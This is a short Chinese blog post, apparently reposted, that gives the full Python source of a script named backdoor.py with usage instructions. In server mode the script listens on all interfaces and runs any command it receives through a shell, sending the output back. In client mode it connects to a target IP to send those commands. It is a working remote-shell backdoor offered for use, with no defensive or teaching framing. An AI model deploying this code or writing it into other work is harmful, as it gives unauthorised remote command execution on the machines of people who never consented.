本文共 2549 字，大约阅读时间需要 8 分钟。

脚本

代码:

# 1.编写usage函数# 2.利用getopt模块从命令行获取参数值# 3.区分客户端和服务端# 4. 定义客户端代码,发送服务端命令行的回显内容# 5. 定义服务端代码，接收命令，发动执行命令后的结果给客户端# 6. 定义命令执行函数，执行客户端发送的命令import socketimport getopt #该模块用来获取命令行模块import sysimport subprocessfrom threading import Threaddef main():    target=""    port =0    listen =False    help = False    # 2. 利用getopt模块从命令行获取参数值    opts,args =getopt.getopt(sys.argv[1:],"t:p:hl")    for o,a in opts:        if o=="-t":            target=a        elif o=="-p":            port=int(a)        elif o=="-h":            help=True        elif o=="-l":            listen=True    if help:        usage()    # 3.区分客户端和服务端    elif not listen:        client_handle(target,port)    else:        server_handle(port)# 4.定义客户端代码，发送命令，接收服务端命令行的回显内容def client_handle(target,port):    client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    client.connect((target,port))    while True:        recv_len=1        response="".encode("utf-8")        while recv_len:            data=client.recv(4096)            recv_len=len(data)            response+=data            if recv_len<4096:                break        print(response.decode('gbk'),end="")        # 接收命令        buffer = input("") # str 我们输入的是字符串内容        buffer+="\n"        client.send(buffer.encode('utf-8')) #转化为bytes类型用于传输# 5. 定义服务端代码，接收命令，发送执行命令后的结果给客户端def server_handle(port):    server =socket.socket(socket.AF_INET,socket.SOCK_STREAM)    server.bind(('0.0.0.0',port))    server.listen(10) #定义监听的数量    print("[*] Listening on 0.0.0.0: %d" % port)    while True:        client_socket,addr=server.accept()        print("[*] Accept connection from %s:%d" % (addr[0],addr[1]))        t=Thread(target=run_command,args=(client_socket,))        t.start()# 6.定义命令执行函数，执行客户端发送的命令def run_command(client_socket):    while True:        client_socket.send(b"shell_>")        cmd_buffer="".encode('utf-8') #bytes        while b"\n" not in cmd_buffer:            cmd_buffer+=client_socket.recv(1024)        cmd_buffer = cmd_buffer.decode() # str        try:            out=subprocess.check_output(cmd_buffer,stderr=subprocess.STDOUT,shell=True)            client_socket.send(out)        except:            client_socket.send(b"Failed to execute command.\r\n") #发送执行命令错误的信息# 1.编写usage函数def usage():    print("help info:python backdoor.py -h")    print("client: python backdoor.py -t [target] -p [port]")    print("server: python backdoor.py -lp [port]")    sys.exit()if __name__=="__main__":    main()

使用方法

查看帮助信息

python backdoor.py -h

服务端监听端口

python backdoor -lp [端口号]

客户端连接

python backdoor -t [目标ip] -p [服务端监听的端口号]

转载地址：http://pyhzi.baihongyu.com/